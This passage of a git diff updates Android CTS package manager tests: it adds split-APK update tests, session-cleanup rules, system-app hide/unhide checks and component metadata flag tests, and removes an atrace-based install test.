-    @LargeTest
-    @Test
-    public void testInstallSysTrace() throws Exception {
-        // Async atrace dump uses less resources but requires periodic pulls.
-        // Overall timeout of 30secs in 100ms intervals should be enough.
-        final int atraceDumpIterations = 300;
-        final int atraceDumpDelayMs = 100;
-
-        final String expected = "|page_read:";
-        final ByteArrayOutputStream result = new ByteArrayOutputStream();
-        final Thread readFromProcess = new Thread(() -> {
-            try {
-                executeShellCommand("atrace --async_start -b 1024 -c adb");
-                try {
-                    for (int i = 0; i < atraceDumpIterations; ++i) {
-                        final ParcelFileDescriptor stdout = getUiAutomation().executeShellCommand(
-                                "atrace --async_dump");
-                        try (InputStream inputStream =
-                                     new ParcelFileDescriptor.AutoCloseInputStream(
-                                stdout)) {
-                            final String found = waitForSubstring(inputStream, expected);
-                            if (!TextUtils.isEmpty(found)) {
-                                result.write(found.getBytes());
-                                return;
-                            }
-                            Thread.currentThread().sleep(atraceDumpDelayMs);
-                        } catch (InterruptedException ignored) {
-                        }
-                    }
-                } finally {
-                    executeShellCommand("atrace --async_stop");
-                }
-            } catch (IOException ignored) {
-            }
-        });
-        readFromProcess.start();
-
-        for (int i = 0; i < 3; ++i) {
-            installPackage(TEST_APK);
-            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
-            uninstallPackageSilently(TEST_APP_PACKAGE);
+    private void setDeviceProperty(String name, String value) {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PACKAGE_MANAGER_SERVICE, name, value,
+                    false);
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
         }
-
-        readFromProcess.join();
-        assertNotEquals(0, result.size());
     }
 
-    private boolean isAppInstalled(String packageName) throws IOException {
-        final String commandResult = executeShellCommand("pm list packages");
-        final int prefixLength = "package:".length();
-        return Arrays.stream(commandResult.split("\\r?\\n"))
-                .anyMatch(line -> line.substring(prefixLength).equals(packageName));
-    }
-
-    private String getSplits(String packageName) throws IOException {
-        final String commandResult = executeShellCommand("pm dump " + packageName);
-        final String prefix = "    splits=[";
-        final int prefixLength = prefix.length();
-        Optional<String> maybeSplits = Arrays.stream(commandResult.split("\\r?\\n"))
-                .filter(line -> line.startsWith(prefix)).findFirst();
-        if (!maybeSplits.isPresent()) {
-            return null;
-        }
-        String splits = maybeSplits.get();
-        return splits.substring(prefixLength, splits.length() - 1);
-    }
-
-    private static String createApkPath(String baseName) {
-        return TEST_APK_PATH + baseName;
-    }
-
-    private void installPackage(String baseName) throws IOException {
-        File file = new File(createApkPath(baseName));
-        assertEquals("Success\n",
-                executeShellCommand("pm install-incremental -t -g " + file.getPath()));
-    }
-
-    private String uninstallPackageSilently(String packageName) throws IOException {
-        return executeShellCommand("pm uninstall " + packageName);
-    }
 }
 
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index d401e62..f25006f 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -27,17 +27,20 @@
 
 import android.app.UiAutomation;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.pm.DataLoaderParams;
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageInstaller.SessionParams;
+import android.content.pm.PackageManager;
+import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
 import android.os.ParcelFileDescriptor;
-import android.os.incremental.IncrementalManager;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -51,9 +54,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
-import java.util.ArrayList;
 import java.util.Arrays;
-import java.util.List;
 import java.util.Optional;
 import java.util.Random;
 import java.util.stream.Collectors;
@@ -77,6 +78,9 @@
     private static final String TEST_HW7_SPLIT3 = "HelloWorld7_xxhdpi-v4.apk";
     private static final String TEST_HW7_SPLIT4 = "HelloWorld7_xxxhdpi-v4.apk";
 
+    @Rule
+    public AbandonAllPackageSessionsRule mAbandonSessionsRule = new AbandonAllPackageSessionsRule();
+
     @Parameter
     public int mDataLoaderType;
 
@@ -89,7 +93,6 @@
     private boolean mStreaming = false;
     private boolean mIncremental = false;
     private String mInstall = "";
-    private List<Integer> mSessionIds = new ArrayList<>();
 
     private static PackageInstaller getPackageInstaller() {
         return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
@@ -153,7 +156,7 @@
     @Before
     public void onBefore() throws Exception {
         // Check if Incremental is allowed and revert to non-dataloader installation.
-        if (mDataLoaderType == DATA_LOADER_TYPE_INCREMENTAL && !IncrementalManager.isAllowed()) {
+        if (mDataLoaderType == DATA_LOADER_TYPE_INCREMENTAL && !checkIncrementalDeliveryFeature()) {
             mDataLoaderType = DATA_LOADER_TYPE_NONE;
         }
 
@@ -165,8 +168,6 @@
 
         uninstallPackageSilently(TEST_APP_PACKAGE);
         assertFalse(isAppInstalled(TEST_APP_PACKAGE));
-
-        mSessionIds.clear();
     }
 
     @After
@@ -174,13 +175,12 @@
         uninstallPackageSilently(TEST_APP_PACKAGE);
         assertFalse(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals(null, getSplits(TEST_APP_PACKAGE));
+    }
 
-        for (int sessionId : mSessionIds) {
-            try {
-                getPackageInstaller().abandonSession(sessionId);
-            } catch (SecurityException ignored) {
-            }
-        }
+    private boolean checkIncrementalDeliveryFeature() {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        return context.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_INCREMENTAL_DELIVERY);
     }
 
     @Test
@@ -197,8 +197,7 @@
         File file = new File(createApkPath(TEST_HW5));
         String command = "pm " + mInstall + " -t -g " + file.getPath() + (new Random()).nextLong();
         String commandResult = executeShellCommand(command);
-        assertEquals("Failure [INSTALL_FAILED_MEDIA_UNAVAILABLE: Failed to prepare image.]\n",
-                commandResult);
+        assertEquals("Failure [failed to add file(s)]\n", commandResult);
         assertFalse(isAppInstalled(TEST_APP_PACKAGE));
     }
 
@@ -214,8 +213,7 @@
         String commandResult = executeShellCommand("pm " + mInstall + " -t -g -S " + file.length(),
                 new File[]{});
         if (mIncremental) {
-            assertEquals("Failure [INSTALL_FAILED_MEDIA_UNAVAILABLE: Failed to prepare image.]\n",
-                    commandResult);
+            assertTrue(commandResult, commandResult.startsWith("Failure ["));
         } else {
             assertTrue(commandResult,
                     commandResult.startsWith("Failure [INSTALL_PARSE_FAILED_NOT_APK"));
@@ -282,13 +280,44 @@
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
                 getSplits(TEST_APP_PACKAGE));
-        installSplits(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+        updateSplits(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
                 TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
                 getSplits(TEST_APP_PACKAGE));
     }
 
+
+    @Test
+    public void testSplitsAdd() throws Exception {
+        installSplits(new String[]{TEST_HW5});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base", getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT0});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi", getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT1});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT2});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi",
+                getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT3});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+
+        updateSplits(new String[]{TEST_HW5_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
     @Test
     public void testSplitsUpdateStdIn() throws Exception {
         installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
@@ -324,8 +353,25 @@
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
                 getSplits(TEST_APP_PACKAGE));
-        installSplitsBatch(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
-                TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+        updateSplitsBatch(
+                new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+                        TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+                getSplits(TEST_APP_PACKAGE));
+    }
+
+    @Test
+    public void testSplitsBatchAdd() throws Exception {
+        installSplitsBatch(new String[]{TEST_HW5});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base", getSplits(TEST_APP_PACKAGE));
+
+        updateSplitsBatch(new String[]{TEST_HW5_SPLIT0, TEST_HW5_SPLIT1});
+        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        assertEquals("base, config.hdpi, config.mdpi", getSplits(TEST_APP_PACKAGE));
+
+        updateSplitsBatch(new String[]{TEST_HW5_SPLIT2, TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
         assertTrue(isAppInstalled(TEST_APP_PACKAGE));
         assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
                 getSplits(TEST_APP_PACKAGE));
@@ -423,7 +469,7 @@
 
             final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
 
-            final int sessionId = createSession(params);
+            final int sessionId = installer.createSession(params);
             PackageInstaller.Session session = installer.openSession(sessionId);
 
             assertEquals(null, session.getDataLoaderParams());
@@ -451,7 +497,7 @@
                     mIncremental ? DataLoaderParams.forIncremental(componentName, args)
                             : DataLoaderParams.forStreaming(componentName, args));
 
-            final int sessionId = createSession(params);
+            final int sessionId = installer.createSession(params);
             PackageInstaller.Session session = installer.openSession(sessionId);
 
             DataLoaderParams dataLoaderParams = session.getDataLoaderParams();
@@ -485,7 +531,7 @@
                     mIncremental ? DataLoaderParams.forIncremental(componentName, args)
                             : DataLoaderParams.forStreaming(componentName, args));
 
-            final int sessionId = createSession(params);
+            final int sessionId = installer.createSession(params);
             PackageInstaller.Session session = installer.openSession(sessionId);
 
             session.addFile(LOCATION_DATA_APP, "base.apk", 123, "123".getBytes(), null);
@@ -505,12 +551,6 @@
         }
     }
 
-    private int createSession(SessionParams params) throws IOException {
-        int sessionId = getPackageInstaller().createSession(params);
-        mSessionIds.add(sessionId);
-        return sessionId;
-    }
-
     private String createUpdateSession(String packageName) throws IOException {
         return createSession("-p " + packageName);
     }
@@ -521,10 +561,7 @@
         final String commandResult = executeShellCommand("pm install-create " + arg);
         assertTrue(commandResult, commandResult.startsWith(prefix));
         assertTrue(commandResult, commandResult.endsWith(suffix));
-        String sessionId = commandResult.substring(prefix.length(),
-                commandResult.length() - suffix.length());
-        mSessionIds.add(Integer.parseInt(sessionId));
-        return sessionId;
+        return commandResult.substring(prefix.length(), commandResult.length() - suffix.length());
     }
 
     private void addSplits(String sessionId, String[] splitNames) throws IOException {
@@ -611,6 +648,18 @@
         commitSession(sessionId);
     }
 
+    private void updateSplits(String[] baseNames) throws IOException {
+        if (mStreaming) {
+            updateSplitsBatch(baseNames);
+            return;
+        }
+        String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        String sessionId = createSession("-p " + TEST_APP_PACKAGE);
+        addSplits(sessionId, splits);
+        commitSession(sessionId);
+    }
+
     private void installSplitsStdInStreaming(String[] splits) throws IOException {
         File[] files = Arrays.stream(splits).map(split -> new File(split)).toArray(File[]::new);
         String param = Arrays.stream(files).map(
@@ -631,12 +680,20 @@
     }
 
     private void installSplitsBatch(String[] baseNames) throws IOException {
-        String[] splits = Arrays.stream(baseNames).map(
+        final String[] splits = Arrays.stream(baseNames).map(
                 baseName -> createApkPath(baseName)).toArray(String[]::new);
         assertEquals("Success\n",
                 executeShellCommand("pm " + mInstall + " -t -g " + String.join(" ", splits)));
     }
 
+    private void updateSplitsBatch(String[] baseNames) throws IOException {
+        final String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        assertEquals("Success\n", executeShellCommand(
+                "pm " + mInstall + " -p " + TEST_APP_PACKAGE + " -t -g " + String.join(" ",
+                        splits)));
+    }
+
     private String uninstallPackageSilently(String packageName) throws IOException {
         return executeShellCommand("pm uninstall " + packageName);
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 726e5de..4db7f8e 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -25,6 +25,13 @@
 import static android.content.pm.PackageManager.GET_PROVIDERS;
 import static android.content.pm.PackageManager.GET_RECEIVERS;
 import static android.content.pm.PackageManager.GET_SERVICES;
+import static android.content.pm.PackageManager.MATCH_APEX;
+import static android.content.pm.PackageManager.MATCH_DISABLED_COMPONENTS;
+import static android.content.pm.PackageManager.MATCH_FACTORY_ONLY;
+import static android.content.pm.PackageManager.MATCH_HIDDEN_UNTIL_INSTALLED_COMPONENTS;
+import static android.content.pm.PackageManager.MATCH_INSTANT;
+import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -37,13 +44,21 @@
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
 
+import android.annotation.NonNull;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.cts.MockActivity;
+import android.content.cts.MockContentProvider;
+import android.content.cts.MockReceiver;
+import android.content.cts.MockService;
 import android.content.cts.R;
 import android.content.pm.ActivityInfo;
 import android.content.pm.ApplicationInfo;
+import android.content.pm.ComponentInfo;
 import android.content.pm.InstrumentationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageItemInfo;
@@ -55,6 +70,12 @@
 import android.content.pm.ResolveInfo;
 import android.content.pm.ServiceInfo;
 import android.content.pm.Signature;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.content.res.XmlResourceParser;
+import android.os.Bundle;
+import android.os.SystemClock;
 import android.os.SystemProperties;
 import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
@@ -64,14 +85,23 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.HashSet;
 import java.util.Iterator;
 import java.util.List;
+import java.util.Set;
+import java.util.function.Consumer;
 import java.util.stream.Collectors;
 
 /**
@@ -84,6 +114,7 @@
 public class PackageManagerTest {
     private static final String TAG = "PackageManagerTest";
 
+    private Context mContext;
     private PackageManager mPackageManager;
     private static final String PACKAGE_NAME = "android.content.cts";
     private static final String CONTENT_PKG_NAME = "android.content.cts";
@@ -109,9 +140,35 @@
 
     private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
 
+    private static final int[] PACKAGE_INFO_MATCH_FLAGS = {MATCH_UNINSTALLED_PACKAGES,
+            MATCH_DISABLED_COMPONENTS, MATCH_SYSTEM_ONLY, MATCH_FACTORY_ONLY, MATCH_INSTANT,
+            MATCH_APEX, MATCH_HIDDEN_UNTIL_INSTALLED_COMPONENTS};
+
+    private static final String SAMPLE_APK_BASE = "/data/local/tmp/cts/content/";
+    private static final String LONG_PACKAGE_NAME_APK = SAMPLE_APK_BASE
+            + "CtsContentLongPackageNameTestApp.apk";
+    private static final String LONG_SHARED_USER_ID_APK = SAMPLE_APK_BASE
+            + "CtsContentLongSharedUserIdTestApp.apk";
+    private static final String MAX_PACKAGE_NAME_APK = SAMPLE_APK_BASE
+            + "CtsContentMaxPackageNameTestApp.apk";
+    private static final String MAX_SHARED_USER_ID_APK = SAMPLE_APK_BASE
+            + "CtsContentMaxSharedUserIdTestApp.apk";
+    private static final String EMPTY_APP_PACKAGE_NAME = "android.content.cts.emptytestapp";
+    private static final String EMPTY_APP_MAX_PACKAGE_NAME = "android.content.cts.emptytestapp27j"
+            + "EBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVd"
+            + "iRKAay19k5VFlSaM7QW9uhvlrLQqsTW01ofFzxNDbp2QfIFHZR6rebKzKBz6byQFM0DYQnYMwFWXjWkMPN"
+            + "dqkRLykoFLyBup53G68k2n8w";
+
     @Before
     public void setup() throws Exception {
-        mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
+        mContext = InstrumentationRegistry.getContext();
+        mPackageManager = mContext.getPackageManager();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        uninstallPackage(EMPTY_APP_PACKAGE_NAME);
+        uninstallPackage(EMPTY_APP_MAX_PACKAGE_NAME);
     }
 
     @Test
@@ -147,7 +204,7 @@
         // Test queryIntentServices
         Intent serviceIntent = new Intent(SERVICE_ACTION_NAME);
         List<ResolveInfo> services = mPackageManager.queryIntentServices(serviceIntent,
-                PackageManager.GET_INTENT_FILTERS);
+                0 /*flags*/);
         checkServiceInfoName(SERVICE_NAME, services);
 
         // Test queryBroadcastReceivers
@@ -267,8 +324,8 @@
         assertEquals(RECEIVER_NAME, mPackageManager.getReceiverInfo(receiverName, 0).name);
 
         // Test getPackageArchiveInfo
-        final String apkRoute = InstrumentationRegistry.getContext().getPackageCodePath();
-        final String apkName = InstrumentationRegistry.getContext().getPackageName();
+        final String apkRoute = mContext.getPackageCodePath();
+        final String apkName = mContext.getPackageName();
         assertEquals(apkName, mPackageManager.getPackageArchiveInfo(apkRoute, 0).packageName);
 
         // Test getPackagesForUid, getNameForUid
@@ -315,6 +372,14 @@
         // Test isSafeMode. Because the test case will not run in safe mode, so
         // the return will be false.
         assertFalse(mPackageManager.isSafeMode());
+
+        // Test getTargetSdkVersion
+        int expectedTargetSdk = mPackageManager.getApplicationInfo(PACKAGE_NAME, 0)
+                .targetSdkVersion;
+        assertEquals(expectedTargetSdk, mPackageManager.getTargetSdkVersion(PACKAGE_NAME));
+        assertThrows(PackageManager.NameNotFoundException.class,
+                () -> mPackageManager.getTargetSdkVersion(
+                        "android.content.cts.non_existent_package"));
     }
 
     private void checkPackagesNameForUid(String expectedName, String[] uid) {
@@ -547,8 +612,7 @@
         // Test resolveService
         intent = new Intent(SERVICE_ACTION_NAME);
         intent.setComponent(new ComponentName(PACKAGE_NAME, SERVICE_NAME));
-        ResolveInfo resolveInfo = mPackageManager.resolveService(intent,
-                PackageManager.GET_INTENT_FILTERS);
+        ResolveInfo resolveInfo = mPackageManager.resolveService(intent, 0 /*flags*/);
         assertEquals(SERVICE_NAME, resolveInfo.serviceInfo.name);
 
         // Test resolveContentProvider
@@ -573,9 +637,25 @@
     }
 
     @Test
+    public void testGetResources_withConfig() throws NameNotFoundException {
+        int resourceId = R.string.config_overridden_string;
+        ApplicationInfo appInfo = mPackageManager.getApplicationInfo(PACKAGE_NAME, 0);
+
+        Configuration c1 = new Configuration(mContext.getResources().getConfiguration());
+        c1.orientation = Configuration.ORIENTATION_PORTRAIT;
+        assertEquals("default", mPackageManager.getResourcesForApplication(
+                appInfo, c1).getString(resourceId));
+
+        Configuration c2 = new Configuration(mContext.getResources().getConfiguration());
+        c2.orientation = Configuration.ORIENTATION_LANDSCAPE;
+        assertEquals("landscape", mPackageManager.getResourcesForApplication(
+                appInfo, c2).getString(resourceId));
+    }
+
+    @Test
     public void testGetPackageArchiveInfo() throws Exception {
-        final String apkPath = InstrumentationRegistry.getContext().getPackageCodePath();
-        final String apkName = InstrumentationRegistry.getContext().getPackageName();
+        final String apkPath = mContext.getPackageCodePath();
+        final String apkName = mContext.getPackageName();
 
         final int flags = PackageManager.GET_SIGNATURES;
 
@@ -618,7 +698,7 @@
 
     @Test
     public void testGetPackageUid() throws NameNotFoundException {
-        int userId = InstrumentationRegistry.getContext().getUserId();
+        int userId = mContext.getUserId();
         int expectedUid = UserHandle.getUid(userId, 1000);
 
         assertEquals(expectedUid, mPackageManager.getPackageUid("android", 0));
@@ -871,6 +951,60 @@
     }
 
     @Test
+    public void testSetSystemAppHiddenUntilInstalled() throws Exception {
+        String packageToManipulate = "com.android.cts.ctsshim";
+        try {
+            mPackageManager.getPackageInfo(packageToManipulate, MATCH_SYSTEM_ONLY);
+        } catch (NameNotFoundException e) {
+            Log.i(TAG, "Device doesn't have " + packageToManipulate + " installed, skipping");
+            return;
+        }
+
+        try {
+            SystemUtil.runWithShellPermissionIdentity(() ->
+                    mPackageManager.setSystemAppState(packageToManipulate,
+                            PackageManager.SYSTEM_APP_STATE_UNINSTALLED));
+            SystemUtil.runWithShellPermissionIdentity(() ->
+                    mPackageManager.setSystemAppState(packageToManipulate,
+                            PackageManager.SYSTEM_APP_STATE_HIDDEN_UNTIL_INSTALLED_HIDDEN));
+
+            // Setting the state to SYSTEM_APP_STATE_UNINSTALLED is an async operation in
+            // PackageManagerService with no way to listen for completion, so poll until the
+            // app is no longer found.
+            int pollingPeriodMs = 100;
+            int timeoutMs = 1000;
+            long startTimeMs = SystemClock.elapsedRealtime();
+            boolean isAppStillVisible = true;
+            while (SystemClock.elapsedRealtime() < startTimeMs + timeoutMs) {
+                try {
+                    mPackageManager.getPackageInfo(packageToManipulate, MATCH_SYSTEM_ONLY);
+                } catch (NameNotFoundException e) {
+                    // expected, stop polling
+                    isAppStillVisible = false;
+                    break;
+                }
+                Thread.sleep(pollingPeriodMs);
+            }
+            if (isAppStillVisible) {
+                fail(packageToManipulate + " should not be found via getPackageInfo.");
+            }
+        } finally {
+            SystemUtil.runWithShellPermissionIdentity(() ->
+                    mPackageManager.setSystemAppState(packageToManipulate,
+                            PackageManager.SYSTEM_APP_STATE_INSTALLED));
+            SystemUtil.runWithShellPermissionIdentity(() ->
+                    mPackageManager.setSystemAppState(packageToManipulate,
+                            PackageManager.SYSTEM_APP_STATE_HIDDEN_UNTIL_INSTALLED_VISIBLE));
+            try {
+                mPackageManager.getPackageInfo(packageToManipulate, MATCH_SYSTEM_ONLY);
+            } catch (NameNotFoundException e) {
+                fail(packageToManipulate
+                        + " should be found via getPackageInfo after re-enabling.");
+            }
+        }
+    }
+
+    @Test
     public void testGetPackageInfo_ApexSupported_ApexPackage_MatchesApex() throws Exception {
         assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
 
@@ -959,6 +1093,195 @@
         assertWithMessage("Shim apex wasn't supposed to be found").that(shimApex).isEmpty();
     }
 
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with all components in this
+     * package will only be filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InPackage() throws Exception {
+        final PackageInfo info = mPackageManager.getPackageInfo(PACKAGE_NAME,
+                GET_ACTIVITIES | GET_SERVICES | GET_RECEIVERS | GET_PROVIDERS);
+
+        assertThat(info.applicationInfo.metaData).isNull();
+        Arrays.stream(info.activities).forEach(i -> assertThat(i.metaData).isNull());
+        Arrays.stream(info.services).forEach(i -> assertThat(i.metaData).isNull());
+        Arrays.stream(info.receivers).forEach(i -> assertThat(i.metaData).isNull());
+        Arrays.stream(info.providers).forEach(i -> assertThat(i.metaData).isNull());
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this application will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InApplication() throws Exception {
+        final ApplicationInfo ai = mPackageManager.getApplicationInfo(PACKAGE_NAME, /* flags */ 0);
+        assertThat(ai.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this activity will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InActivity() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockActivity.class);
+        final ActivityInfo info = mPackageManager.getActivityInfo(componentName, /* flags */ 0);
+        assertThat(info.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this service will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InService() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockService.class);
+        final ServiceInfo info = mPackageManager.getServiceInfo(componentName, /* flags */ 0);
+        assertThat(info.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this receiver will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InBroadcastReceiver() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockReceiver.class);
+        final ActivityInfo info = mPackageManager.getReceiverInfo(componentName, /* flags */ 0);
+        assertThat(info.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this provider will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_noMetaData_InContentProvider() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockContentProvider.class);
+        final ProviderInfo info = mPackageManager.getProviderInfo(componentName, /* flags */ 0);
+        assertThat(info.metaData).isNull();
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with all components in this
+     * package will not be filled in if the {@link PackageManager#GET_META_DATA} flag is not set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InPackage() throws Exception {
+        final PackageInfo info = mPackageManager.getPackageInfo(PACKAGE_NAME,
+                GET_META_DATA | GET_ACTIVITIES | GET_SERVICES | GET_RECEIVERS | GET_PROVIDERS);
+
+        checkMetaData(new PackageItemInfo(info.applicationInfo));
+        checkMetaData(new PackageItemInfo(
+                findPackageItemOrFail(info.activities, "android.content.cts.MockActivity")));
+        checkMetaData(new PackageItemInfo(
+                findPackageItemOrFail(info.services, "android.content.cts.MockService")));
+        checkMetaData(new PackageItemInfo(
+                findPackageItemOrFail(info.receivers, "android.content.cts.MockReceiver")));
+        checkMetaData(new PackageItemInfo(
+                findPackageItemOrFail(info.providers, "android.content.cts.MockContentProvider")));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this application will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InApplication() throws Exception {
+        final ApplicationInfo ai = mPackageManager.getApplicationInfo(PACKAGE_NAME, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(ai));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this activity will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InActivity() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockActivity.class);
+        final ActivityInfo ai = mPackageManager.getActivityInfo(componentName, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(ai));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this service will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InService() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockService.class);
+        final ServiceInfo info = mPackageManager.getServiceInfo(componentName, GET_META_DATA);
+        checkMetaData(new PackageItemInfo(info));
+    }
+
+    /**
+     * Test that {@link ComponentInfo#metaData} data associated with this receiver will only be
+     * filled in if the {@link PackageManager#GET_META_DATA} flag is set.
+     */
+    @Test
+    public void testGetInfo_checkMetaData_InBroadcastReceiver() throws Exception {
+        final ComponentName componentName = new ComponentName(mContext, MockReceiver.class);
